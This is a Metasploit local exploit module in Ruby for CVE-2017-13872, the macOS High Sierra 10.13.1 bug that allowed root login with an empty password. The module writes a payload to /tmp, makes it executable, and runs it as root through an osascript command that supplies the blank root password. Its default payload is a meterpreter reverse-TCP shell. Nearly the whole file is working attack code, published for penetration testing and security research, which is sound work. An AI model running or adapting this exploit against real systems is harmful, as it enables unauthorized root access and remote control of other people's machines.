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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mac OS X Root Privilege Escalation',
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        'Description' => %q{
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          This module exploits a serious flaw in MacOSX High Sierra.
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          Any user can login with user "root", leaving an empty password.
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        },
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2017-13872' ],
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          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
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          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
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          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
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        ],
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        'Platform' => 'osx',
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        'Arch' => ARCH_X64,
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        'Author' => [
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          'chethan177',  # earliest public discovery
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          'lemiorhan',   # making this well-known via Twitter
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          'timwr',       # Metasploit module
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        ],
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        'DefaultOptions' => {
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          'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
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        },
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [
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          [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2017-11-29',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit_cmd(root_payload)
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    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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    print_status("Writing payload file as '#{payload_file}'")
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    write_file(payload_file, payload.raw)
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    register_file_for_cleanup(payload_file)
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    output = cmd_exec("chmod +x #{payload_file}")
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    print_status("Executing payload file as '#{payload_file}'")
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    cmd_exec(exploit_cmd(payload_file))
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  end
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end
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